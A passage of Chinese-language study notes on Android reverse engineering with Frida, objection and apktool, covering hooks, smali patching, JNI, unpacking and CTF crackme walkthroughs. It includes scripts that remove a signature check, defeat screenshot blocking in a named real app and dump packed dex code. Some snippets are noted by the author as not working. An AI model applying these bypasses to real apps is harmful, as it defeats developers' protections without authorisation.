file_handle.flush(); //刷新
file_handle.close(); //关闭
}

inlinehook内联

写法和函数地址计算时的写法一样的,其实就是定位到某条汇编,然后进行Hook。

我感觉函数层面的原理就是基于这个的,只是当检测为函数时,就可以操作args了。而且这个onLeave,可能检测的是汇编 RET指令,然后修改返回的X0寄存器作为返回值,因为在这个例子里面,onLeave也能修改适用。

这里Hook的是check函数中的如下位置

image-20240119111302320

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function inline_hook(){
Java.perform(function(){
//根据导出函数名打印基址
var soAddr = Module.findBaseAddress("lib52pojie.so");
console.log(soAddr);
var funcaddr = soAddr.add(0x010428);
console.log(funcaddr);
if(funcaddr != null){
console.log("get");
Interceptor.attach(funcaddr,{
onEnter: function(args){ //args参数
console.log(this.context.x22); //注意此时就没有args概念了
this.context.x22 = ptr(1); //赋值方法参考上一节课
},
onLeave: function(retval){ //retval返回值
console.log(retval.toInt32());
retval.replace(1);
}
})
}
})
}

这里Hook到1042C,然后给X0赋值为1也是一样的。那么其实对于Frida针对So层的Hook,其实具有更加细腻的汇编层面,那这个可以修改汇编代码吗?

汇编层面

[Online ARM to HEX Converter (armconverter.com)](https://armconverter.com/?code=mov w0,1)

  • 读取

    1
    2
    3
    var soAddr = Module.findBaseAddress("lib52pojie.so");
    var codeAddr = Instruction.parse(soAddr.add(0x10428));
    console.log(codeAddr.toString());

image-20240119111659002

  • 写入

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    function hexToBytes(str) {
    var pos = 0;
    var len = str.length;
    if (len % 2 != 0) {
    return null;
    }
    len /= 2;
    var hexA = new Array();
    for (var i = 0; i < len; i++) {
    var s = str.substr(pos, 2);
    var v = parseInt(s, 16);
    hexA.push(v);
    pos += 2;
    }
    return hexA;
    }

    function compile(){
    var soAddr = Module.findBaseAddress("lib52pojie.so");
    var codeAddr = Instruction.parse(soAddr.add(0x10428));
    console.log(codeAddr.toString());
    Memory.patchCode(codeAddr, 4, function(code) {
    const writer = new Arm64Writer(code, { pc: codeAddr });
    writer.putBytes(hexToBytes("20008052"));
    writer.flush();
    });
    }

    会报错

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    Error: expected a pointer
    at value (frida/runtime/core.js:207)
    at compile (/root/Desktop/CTF/AndroidRevFrida/test.js:161)
    at <anonymous> (/root/Desktop/CTF/AndroidRevFrida/test.js:166)
    at <anonymous> (frida/node_modules/frida-java-bridge/lib/vm.js:12)
    at _performPendingVmOps (frida/node_modules/frida-java-bridge/index.js:250)
    at <anonymous> (frida/node_modules/frida-java-bridge/index.js:225)
    at <anonymous> (frida/node_modules/frida-java-bridge/lib/vm.js:12)
    at _performPendingVmOpsWhenReady (frida/node_modules/frida-java-bridge/index.js:244)
    at perform (frida/node_modules/frida-java-bridge/index.js:204)
    at main (/root/Desktop/CTF/AndroidRevFrida/test.js:169)
    at apply (native)
    at <anonymous> (frida/runtime/core.js:51)

SO层函数主动调用

这里即主动调用AES加密,参数和返回值均为字符串指针,那么就写pointer

1
2
3
4
5
6
7
var funcAddr = Module.findBaseAddress("lib52pojie.so").add(0xe85c);
//声明函数指针
//NativeFunction的第一个参数是地址,第二个参数是返回值类型,第三个[]里的是传入的参数类型(有几个就填几个)
var aesAddr = new NativeFunction(funcAddr , 'pointer', ['pointer', 'pointer']);
var encry_text = Memory.allocUtf8String("OOmGYpk6s0qPSXEPp4X31g=="); //开辟一个指针存放字符串
var key = Memory.allocUtf8String('wuaipojie0123456');
console.log(aesAddr(encry_text ,key).readCString());

对应的数据类型如下

参考JavaScript API | Frida • A world-class dynamic instrumentation toolkit

数据类型 描述
void 无返回值
pointer 指针
int 整数
long 长整数
char 字符
float 浮点数
double 双精度浮点数
bool 布尔值

番外

去除签名校验

手动去除,搜索app kill,找到第一个,进入查找f函数,修改f函数后保存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.method public static f()Ljava/util/List;
.registers 2
.annotation build Landroidx/annotation/NonNull;
.end annotation

.annotation system Ldalvik/annotation/Signature;
value = {
"()",
"Ljava/util/List<",
"Ljava/lang/String;",
">;"
}
.end annotation

.line 1
new-instance v0, Ljava/util/ArrayList;

invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V

const-string v1, "F9:6C:E9:5F:D5:47:BE:DF:81:15:E3:71:8A:10:54:45"
#创建了一个新的 ArrayList 实例,然后向列表中添加了一个字符串常量 "F9:6C:E9:5F:D5:47:BE:DF:81:15:E3:71:8A:10:54:45"

invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z

return-object v0
.end method

去除更新弹窗

安卓逆向入门笔记

https://www.52pojie.cn/thread-1781093-1-1.html

1.修改默认Activity

a)解包

使用apktool进行反编译,apktool d xxx.apk。将class.dex从apk中解包出来,用d2j-dex2jar class.dex转换为class-dex2jar.jar

b)添加Activity/布局文件

手写Activity,保存为myActivity.smali

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
###### Class com.p005zj.wuaipojie.p006ui.MyActivity (com.zj.wuaipojie.ui.MyActivity)
.class public Lcom/zj/wuaipojie/ui/MyActivity;
.super Landroidx/appcompat/app/AppCompatActivity;
.source "MyActivity.java"

# direct methods
.method public constructor <init>()V
.registers 1

.line 7
invoke-direct {p0}, Landroidx/appcompat/app/AppCompatActivity;-><init>()V

return-void
.end method

# virtual methods
.method public onBackPressed()V
.registers 2

invoke-super {p0}, Landroidx/appcompat/app/AppCompatActivity;->onBackPressed()V

invoke-virtual {p0}, Landroid/app/Activity;->finish()V

return-void
.end method

.method protected onCreate(Landroid/os/Bundle;)V
.registers 6

const p1, 0x7f0b007e

invoke-virtual {p0, p1}, Lcom/zj/wuaipojie/ui/MyActivity;->setContentView(I)V

new-instance v0, Landroid/os/Handler;

invoke-direct {v0}, Landroid/os/Handler;-><init>()V

iput-object v0, p0, Lcom/zj/wuaipojie/ui/MyActivity;->handler:Landroid/os/Handler;

new-instance v0, Lcom/zj/wuaipojie/ui/MyActivity$1;

invoke-direct {v0, p0}, Lcom/zj/wuaipojie/ui/MyActivity$1;-><init>(Lcom/zj/wuaipojie/ui/MyActivity;)V

const-wide/16 v1, 0x12c

invoke-virtual {p0, v0, v1, v2}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z

return-void

.line 20
new-instance v0, Landroid/content/Intent;

const-class v1, Lcom/zj/wuaipojie/ui/MainActivity;

invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

invoke-virtual {p0, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V

return-void
.end method

.method public onCreateOptionsMenu(Landroid/view/Menu;)Z
.registers 3

invoke-super {p0, p1}, Landroidx/appcompat/app/AppCompatActivity;->onCreateOptionsMenu(Landroid/view/Menu;)Z

const/4 v0, 0x1

return v0
.end method

.method public onOptionsItemSelected(Landroid/view/MenuItem;)Z
.registers 3

invoke-super {p0, p1}, Landroidx/appcompat/app/AppCompatActivity;->onOptionsItemSelected(Landroid/view/MenuItem;)Z

const/4 v0, 0x1

return v0
.end method

对应java代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;

import androidx.appcompat.app.AppCompatActivity;

public class MyActivity extends AppCompatActivity {

private Handler handler;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_my);

handler = new Handler();
handler.postDelayed(new Runnable() {
@Override
public void run() {
Intent intent = new Intent(MyActivity.this, MainActivity.class);
startActivity(intent);
finish();
}
}, 5000); // 5秒后跳转
}

}

找到apk中的存放activity的位置,放入myActivity,这个包里的路径为:教程demo(更新)\smali\com\zj\wuaipojie\ui

然后添加布局文件hello_word.xml,放到教程demo(更新)\res\layout\

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="utf-8"?>
<!-- 声明 XML 文件版本和编码方式。-->
<RelativeLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent">
<!-- RelativeLayout 布局,定义根布局。-->

<TextView
android:id="@+id/text_view"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_centerInParent="true"
android:text="Hello World!"
android:textSize="24sp"/>
<!-- TextView 组件,显示文本。-->

</RelativeLayout>
<!-- RelativeLayout 布局结束。-->

添加布局文件,那么还需要添加布局文件的的资源ID,在教程demo(更新)\smali\com\zj\wuaipojie\R$layout.smali文件中添加如下

image-20240105095827763

需要确保这个id,即0x7f0b007e教程demo(更新)\res\values\public.xml中是没有的,然后在对应layout标签的最下面添加即可

image-20240105100010298

c)声明Activity并默认启动

修改AndroidManifest.xml,将myActivity设置为主Activity

image-20240105102042503

使用apktool进行编译,apktool b xxx -o xxx,提示如下错误

image-20240105102136469

换成最新版本的可以成功,或者用AndroidKiller,替换一下apktool就行,但是不要改脚本,改apktool的文件名就可以。

d)签名

正常签名

完成之后,安装

Frida逆向与抓包实战

参考的书《Frida逆向与抓包实战》

环境安装

还是用bluestacks5,版本为android9bluestacks.conf不要设置只读,不然adb的端口也被固定,这样windows启动之后说不定就占了这个端口,这样就不太行了。

然后windows安装对应的python、frida、frida-tools即可,这里用的是python3.8.0

1
2
pip install frida==12.8.0
pip install frida-tools==5.3.0

然后在githubfrida下载对应版本架构的server,可以通过adb进入模拟器输入

1
getprop ro.product.cpu.abi

查看架构,这里是x86_64的,那么下载如下的frida-server

image-20230925110525614

之后将frida-server放入模拟器的/data/local/tmp中赋予权限运行即可。

然后在windowsfrida运行即可hook,有点类似gdb

1
frida -U -l .\Chap03\2.js com.example.fridapro

image-20230925110704618

Frida基础知识

HelloWorld

最基础的注入,使用如下js脚本

1
2
3
4
5
6
7
setTimeout(
function(){
Java.perform(function(){
console.log("hello world!")
})
}
)

对应注入命令

1
frida -U -l hello.js android.process.media

其中-UUSB设备,-l用于指定注入脚本路径,将代码注入到android.process.media这个进程中,即可打印出hello world!

HOOK基础

对应java代码编写的app如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.example.fridapro;

import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;

import android.util.Log;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
while (true){

try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}

fun(50,30);
}
}
void fun(int x , int y ){
Log.d("r0ysue.sum" , String.valueOf(x+y));
}
}

即使用fun函数循环打印r0ysue.sum以及算数和,那么就可以使用frida对这个fun函数进行HOOK,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function main(){
console.log("Script loaded successfully ")
Java.perform(function(){
console.log("Inside java perform function")

//通过java.use获取包主类
var MainAcitivity = Java.use('com.example.fridapro.MainActivity')
console.log("Java.Use.Successfully!") //定位类成功!
// hook 重载函数,这里不用overload也可以
//但是最好还是指定一下
MainAcitivity.fun.overload('int', 'int').implementation = function(x,y){
console.log("orignal args: x => ",x,", y => ",y)
var ret_value = this.fun(2, 5);
return ret_value
}
})
}
setImmediate(main)

然后在模拟器中运行appwindows中对应的命令也是类似的,指定一下进程名即可

1
frida -U -l 1.js com.example.fridapro

使用adb logcat查看即可发现函数参数被修改

image-20230925113535171

主动调用函数

可以使用FridaAPP中没有被调用的函数进行主动调用

例子APP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.example.fridapro;

import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;

import android.util.Log;
public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
while (true){

try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}

fun(50,30);
}
}
void fun(int x , int y ){
Log.d("r0ysue.sum" , String.valueOf(x+y));
}
String fun(String x){
return x.toLowerCase();
}

void secret(){
Log.d("r0ysue.secret" , "this is secret func");
}
static void staticSecret(){
Log.d("r0ysue.secret" , "this is static secret func");
}
}

加入了secrect相关函数,其中一个是全局静态的。

对应主动调用的Frida相关的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function main(){
console.log("Script loaded successfully ")
Java.perform(function(){
console.log("Inside java perform function")
var MainAcitivity = Java.use('com.roysue.demo02.MainActivity')

// 静态函数主动调用,比较简单
MainAcitivity.staticSecret();

// 会报错Error: secret: cannot call instance method without an instance
//MainAcitivity.secret();

// 动态函数主动调用
Java.choose('com.example.fridapro.MainActivity',{
onMatch: function(instance){
console.log('instance found',instance)
instance.secret()
},
onComplete: function(){
console.log('search Complete')
}
})
})
}
setImmediate(main)

运行之后,查看adb logcat即可看到secrect函数被调用

image-20230925155340657

如果直接运行MainAcitivity.secret();,则会出现如下错误

image-20230925155517808

RPC自动化

可以使用python脚本完成js脚本对进程的注入以及hook

例子APP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.example.fridapro;

import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;

import android.util.Log;
public class MainActivity extends AppCompatActivity {
private String total = "hello";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
while (true){

try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}

fun(50,30);
}
}
void fun(int x , int y ){
Log.d("r0ysue.sum" , String.valueOf(x+y));
}
String fun(String x){
return x.toLowerCase();
}

void secret(){
total += " secretFunc";
Log.d("r0ysue.secret" , "this is secret func");
}
static void staticSecret(){
Log.d("r0ysue.secret" , "this is static secret func");
}
}

secrect函数中加入了对total属性进行处理的操作。在使用时,如果是static的变量,则直接类加变量名即可获取。如果是类里面的属性变量,则如下代码,也是需要获取类实例才可以的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function getTotalValue(){
Java.perform(function(){
var MainAcitivity = Java.use('com.roysue.demo02.MainActivity')

// 动态函数主动调用
Java.choose('com.roysue.demo02.MainActivity',{
onMatch: function(instance){
console.log('total value = ',instance.total.value)
},
onComplete: function(){
console.log('search Complete')
}
})
})
}
setImmediate(getTotalValue)

那么即可获取到变量值了

image-20230925160640781

下面尝试RPC自动化,在上述js代码中加入CallSecrectFunc来调用secrect函数,如下代码。再加上rpc导出代码,方便后续python复用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function CallSecretFunc(){
Java.perform(function(){

// 动态函数主动调用
Java.choose('com.roysue.demo02.MainActivity',{
onMatch: function(instance){

instance.secret()

},
onComplete: function(){
}
})
})
}

rpc.exports = {
callsecretfunc : CallSecretFunc,
gettotalvalue : getTotalValue
}

然后再运行导出即可

TIPS

  • 查看运行的包:frida-ps -U

    image-20230925111121983

  • 当函数被重载之后,使用Frida进行注入则需要指定参数类型,如下

    1
    2
    3
    MainAcitivity.fun.overload('int', 'int').implementation = function(x,y){
    //....
    }

Objection逆向

Cha05破解弹窗

Android中常用

Native层HOOK

NDK开发

新建Android studio项目,选择Native C++项目,响应的MainActivity代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.example.ndkpro;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.widget.TextView;

import com.example.ndkpro.databinding.ActivityMainBinding;

public class MainActivity extends AppCompatActivity {

// Used to load the 'ndkpro' library on application startup.
static {
System.loadLibrary("ndkpro");
}

private ActivityMainBinding binding;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

binding = ActivityMainBinding.inflate(getLayoutInflater());
setContentView(binding.getRoot());

// Example of a call to a native method
TextView tv = binding.sampleText;
tv.setText(stringFromJNI());
}

/**
* A native method that is implemented by the 'ndkpro' native library,
* which is packaged with this application.
*/
public native String stringFromJNI();
}

下面进行一些简单的解析:

  • System.loadLibrary("ndkpro"):代表将这个动态库加载到内存中

  • public native String stringFromJNI():这个函数实际上是一个JNI函数,真实的函数内容是通过C/C++进行实现的,点击C/C++图标可以跳转查看真实代码

    image-20230926112422331

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #include <jni.h>
    #include <string>

    extern "C" JNIEXPORT jstring

    JNICALL
    Java_com_example_ndkpro_MainActivity_stringFromJNI(
    JNIEnv *env,
    jobject /* this */) {
    std::string hello = "Hello from C++";
    return env->NewStringUTF(hello.c_str());
    }

    可以看到是有C/C++进行实现,并且其命名规则为Java_PackageName_ClassName_MethodName,对应分析一下即可。

    多出的两个参数JNIEnv *envjobject分别表示当前java线程的执行环境和响应函数所在类的对象。

  • 此外还有一些对应的数据类型

    Java数据类型 JNI数据类型
    boolean jboolean
    byte jbyte
    void void
    ….
    class jclass

    除了void,大多都是在前面加j

直接使用这个例子编译为APK,解压打开APK会发现多一个lib目录,下面存放四种架构的.so文件,在对应的平台调用不同架构的.so文件

image-20230926113457997

安装APK之后,用objection注入进程,使用命令memory list modules即可查看对应的.so文件是否注入到内存了。

image-20230926113754950

之后可以使用命令memory list export libndkpro.so 导出相关的符号

image-20230926114035756

其他的函数变量都会加上一些乱七八糟的字符,这是因为C++name mangling名称粉碎机制,如果不需要这个,则需要加上extern "C",而JNI函数就是因为加入这个标识就不会有名称粉碎机制导致函数名变化。

image-20230926114143365

可以使用C++filt对函数名还原

image-20230926114600807

开始HOOK

静态注册JNI函数

上述提到的都是静态注册的JNI函数,有一定的命名方式

修改一下例子,使之循环调用需要Hook的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.example.ndkpro;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.widget.TextView;

import android.util.Log;
import com.example.ndkpro.databinding.ActivityMainBinding;

public class MainActivity extends AppCompatActivity {

// Used to load the 'ndkpro' library on application startup.
static {
System.loadLibrary("ndkpro");
}

private ActivityMainBinding binding;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

// Example of a call to a native method
TextView tv = findViewById(R.id.sample_text);
tv.setText(sI3());

while(true){
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}

Log.i("r0so2", stringFromJNI());
}
}

/**
* A native method that is implemented by the 'ndkpro' native library,
* which is packaged with this application.
*/
public native String stringFromJNI();
}

针对上述例子中的libndkpro.so,使用如下代码进行HOOK

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function hook_native(){
var addr = Module.getExportByName("libndkpro.so", "Java_com_example_ndkpro_MainActivity_stringFromJNI");
Interceptor.attach(addr,{
onEnter:function(args){
console.log("jnienv pointer =>",args[0])
console.log("jobj pointer =>",args[1])
},onLeave:function(retval){
console.log("retval is =>",Java.vm.getEnv().getStringUtfChars(retval, null).readCString())
console.log("=================")
}
})
}

setImmediate(hook_native)

正常使用frida进行hook即可。

动态注册JNI函数

修改一下模式即可,在native-lib.cpp中更改如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
jstring JNICALL sI3(
JNIEnv* env,
jobject /*this*/) {
std::string hello = "Hello from C++ stringFromJNI3 r0ysue ";
return env->NewStringUTF(hello.c_str());
}

jint JNI_OnLoad(JavaVM* vm, void* reserved)
{
JNIEnv * env;
vm->GetEnv((void**)&env,JNI_VERSION_1_6);
JNINativeMethod methods[] = {
{"stringFromJNI3","()Ljava/lang/String;",(void*)sI3},
};

env->RegisterNatives(env->FindClass("com/example/ndkpro/MainActivity"),methods,1);

return JNI_VERSION_1_6;
}

这里即代表对stringFromJNI3的函数调用注册为对sI3的函数调用,在对应的Mainactivity中还是不变,修改成调用stringFromJNI3即可。重新编译运行APP即可看到对应的adb logcat日志

image-20230927153610314

使用这种方式注册的JNI函数的ndkpro.so会找不到stringFromJNI3()字符串相关的函数,这种情况就需要通过先寻找模块基地址,然后寻找偏移地址来获取。

mark:书里面提供的脚本用不了

移动安全升级

第一课、截屏,加壳

破解mmzztt的截屏,首先打开mmzztt,然后用adb即可查看当前apk的一些包信息adb shell dumpsys window | grep mCurrentFocus,注意这里搜索到的com.mmzztt.app是包的名称,用来使用spawn模式重新启动进程,但是实际上启动之后的进程可能并不叫这个名称,可能是其他名称,如果使用attach模式的话,则需要进程名称才行的。

image-20231007104116697

随后需要了解一下截屏机制的相关知识,搜索一下实现Android实现截屏的代码,android应用内代码截屏(获取view快照)和禁止截屏 - Python技术站 (pythonjishu.com)

比较关键的就是如下一段代码

image-20231007140745804

那么就可以搜索一下这个setFlasgAPI是否存在调用,直接搜索函数

1
android hooking search methods setFlags

会出现一些结果,但是都不是window相关的函数调用

image-20231007140600567

因为提到的Android防截屏知识是获取window对象,然后调用setFlags,那么这里就需要window对象,那么搜索一下window类对象

1
android hooking search classes window

image-20231007140952899

会找到一些,但是具体是那个得判断仔细判断一下,这里师傅说盲猜是android.view.Window,那么就搜索一下这个类中的方法是否存在setFlags

1
android hooking list class_methods android.view.Window

image-20231007141516805

存在该方法调用,那么就可以hook这个方法,使其不发生作用即可,这里直接用objection好像不太好使,接下来转换为r0tracer进行寻找

r0ysue/r0tracer: 安卓Java层多功能追踪脚本 (github.com)

需要修改一下里面的代码,改为指定函数类即可

image-20231007142540131

然后如下代码

1
frida -U -f com.mmzztt.app -l r0tracer.js -o mzt.logs

-fspawn模式,因为可能在程序运行之后,这个函数已经被调用了,后续不会被调用,那么就需要用这个模式来重启运行,最终在日志中找到如下调用链

image-20231007143001688

依据这个来hook或者其他方式即可,使用如下代码进行hook并打印相关信息

1
2
3
4
5
6
7
8
9
10
setImmediate(function(){
Java.perform(function(){
Java.use("android.view.Window").setFlags.implementation = function(x){
console.log("setFlags called")
}
// Java.use("android.view.Window").addFlags.implementation = function(x,y){
// console.log("addFlags called")
// }
})
})

这样frida -U -f com.mmzztt.app -l ./mmzztt.js使用spawn模式启动之后,这样就能截屏了,完成破解

image-20231007145600476

之后使用jadx分析会发现加壳了

image-20231007143201603

那么使用frida一些项目工具进行动态下载dex文件解析,hluwa/frida-dexdump: A frida tool to dump dex in memory to support security engineers analyzing malware. (github.com)

然后在手机上打开对应的应用,在kali中输入frida-dexdump -UF即可

image-20231007151049150

然后搜索一下

image-20231007151303850

然后用jadx打开,通常会失败,显示如下,这是一个jadx的功能,关掉就行

image-20231007151426203

修改一下参数,点击File->Preferences,修改为no

image-20231007151552568

F5重新加载一下即可

image-20231007151659442

第二课、攻防世界基础android

hook逆向基础,拉起activity,广播

攻防世界 (xctf.org.cn)下载APK安装,发现需要输入密码,逆向分析找到Mainactivity,找到button执行逻辑,其实就是调用check.checkPassword

image-20231007160215264

查看一下代码

image-20231007161409585

那么hook一下返回true即可

1
2
3
4
5
6
7
8
9
setImmediate(function(){
Java.perform(function(){
Java.use("com.example.test.ctf02.Check").checkPassword.implementation = function(x){
console.log("check called");
var ret_value = true;
return ret_value;
}
})
})

使用如下命令frida -U -f com.example.test.ctf02 -l ./test.js

然后进入下一关,需要输入然后显示

image-20231007161609398

同样找到该按钮对应代码逻辑,获取数据,然后发送广播sendBroadcast

image-20231007162115632

查看相关的AndroidManifest.xml,可以看到有个过滤,输入android.is.very.fun才能发送广播

image-20231007162357541

再查看广播对应代码,

image-20231007162458278

调用NextContent

image-20231007162542913

onCreate调用到Change

image-20231007162524862

即该change就是以图片方式打开文件timg_2.zip显示出来,找到apk里面的timg_2.zip当作图片打开就能看见flag

image-20231007162709557

此外分析的广播代码也能看到,输入android.is.very.fun也能展示图片

image-20231007162815506

此外由于NextContent是一个单独的Activity,可以直接使用objection拉起,也能看到flag

image-20231007163211614

这里的MainActivity2也能使用这种方式拉起,相当于可以直接绕过关卡。

第三课、六层锁机

第一关 获取函数返回值

打开APK,查看AndroidManifest.xml查找主Activity

image-20231007173222240

可以看到先从LoginActivity开始,查看一下对应代码

image-20231008090708333

即讲username传入a函数进行处理,得到的结果需要与passwd相同。那么我们就可以hooka函数,传入username,获取函数a的加密结果,然后放入passwd即可,这个可以直接通过objection操作

1
2
objection -g com.example.androiddemo explore
android hooking watch class_method com.example.androiddemo.Activity.LoginActivity.a --dump-args --dump-backtrace --dump-return

即可获取到

image-20231008093318794

第二关 hook函数返回值

来到BaseFridaActivity,点击按钮调用到onClick,调用到FridaActivity1onCheck,查看一下代码

image-20231008093628716

放入a函数加密之后需要为R4jSLLLLLLLLLLOrLE7/5B+Z6fsl65yj6BgC6YWz66gO6g2t65Pk6a+P65NK44NNROl0wNOLLLL=,那么hook掉这个函数的返回值即可

1
2
3
4
5
6
7
8
9
10
11
12
function one(){
Java.perform(function(){
let FridaActivity1 = Java.use("com.example.androiddemo.Activity.FridaActivity1");
FridaActivity1["a"].implementation = function(str){
console.log("a called");
return "R4jSLLLLLLLLLLOrLE7/5B+Z6fsl65yj6BgC6YWz66gO6g2t65Pk6a+P65NK44NNROl0wNOLLLL=";
}
})
}


setImmediate(one)

第三关 设置值,函数调用

来到下一关FridaActivity2

image-20231008095316288

那么hook一下onCheck函数,将两个属性置为True即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function two(){
Java.perform(function(){
let FridaActivity2 = Java.use("com.example.androiddemo.Activity.FridaActivity2");

FridaActivity2["onCheck"].overload().implementation = function(){
console.log("onCheck called");
this.static_bool_var.value = true;
this.bool_var.value = true;
console.log("static_bool_var:",this.static_bool_var);
console.log("bool_var:",this.bool_var);
this.onCheck();

}
})
}

也可以不用hookonCheck函数,可以直接设置值的

1
2
3
4
5
6
7
8
9
10
11
12
13
function two(){
Java.perform(function(){
let FridaActivity2 = Java.use("com.example.androiddemo.Activity.FridaActivity2");
FridaActivity2.static_bool_var.value = true;
Java.choose("com.example.androiddemo.Activity.FridaActivity2",{
onMatch:function(ins){
ins.bool_var.value = true
},onComplete:function(){
}
});

})
}

也可以调用接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function two(){
Java.perform(function(){
let FridaActivity2 = Java.use("com.example.androiddemo.Activity.FridaActivity2");
FridaActivity2.setStatic_bool_var();
Java.choose("com.example.androiddemo.Activity.FridaActivity2",{
onMatch:function(ins){
ins.setBool_var();
},onComplete:function(){

}
})

})
}

关键知识点就是当属性或者函数需要借助于对象时,那么就需要先获取一个对象才能调用或者设置值。静态的使用java.use获取到类就可以直接使用。

第四关 函数名变量名相同

进入到FridaActivity4

image-20231008102043873

同样直接设置一下值即可,需要注意的时直接当变量属性和函数名称一样时,找对应的变量名称在前面需要加上_下划线,如下代码所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function three(){
Java.perform(function(){
let FridaActivity3 = Java.use("com.example.androiddemo.Activity.FridaActivity3");
FridaActivity3["onCheck"].overload().implementation = function(){
console.log("onCheck called");
this.static_bool_var.value = true;
this.bool_var.value = true;
this._same_name_bool_var.value = true;
console.log("static_bool_var:",this.static_bool_var.value);
console.log("bool_var:",this.bool_var.value);
console.log("same_name_bool_var:",this._same_name_bool_var.value);
this.onCheck();
}
})
}

setImmediate(three)

第五关 java反射,静态内部类

进入FridaAacvitity4

image-20231008103403390

hook掉所有check函数返回true即可,这个我写出来不行,还是按照师傅的用java反射把,但是还是不行,不太会了,估计是哪边有点问题把。

1
2
3
4
5
6
7
8
9
10
11
12
13
function Activity4(){
var class_name = "com.example.androiddemo.Activity.FridaActivity4$InnerClasses";
var all_methods = Java.use(class_name).class.getDeclaredMethods();
console.log("all_methods => ", all_methods);
for (var i = 0; i < all_methods.length; i++) {
var method = all_methods[i];
console.log("single method => ", method);
var substring = method.toString().substr(method.toString().indexOf(class_name) + class_name.length + 1);
var finalMethodString = substring.substr(0, substring.indexOf("("));
console.log("finalMethodString => ", finalMethodString);
Java.use(class_name)[finalMethodString].implementation = function () { return true };
}
}

第六关 hook动态加载类

直接拉起下一关

image-20231008111303053

主要还是在getDynamicDexCheck

image-20231008112618340

会加载一个类作为DynamicDexCheck

image-20231008113622377

随后调用这个类的check方法来判断

image-20231008113654890

那么就需要hook动态加载这个类,然后hook里面的check方法即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function five(){
Java.perform(function(){
Java.enumerateClassLoaders({
onMatch: function (loader) {
try {
if (loader.findClass("com.example.androiddemo.Dynamic.DynamicCheck")) {

Java.classFactory.loader = loader;

}
}
catch (error) {
console.log(" continuing :" + error)
}
},
onComplete: function () {
console.log("EnumerateClassloader END")
}
})
Java.use("com.example.androiddemo.Dynamic.DynamicCheck").check.implementation = function(){
return true;
}
})
}

这里的hook不是很懂,先mark

第七关

进入FridaActivity6

image-20231008113952312

hook掉对应类的check函数即可,这里总是不成功,很奇怪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function six(){
Java.perform(function(){
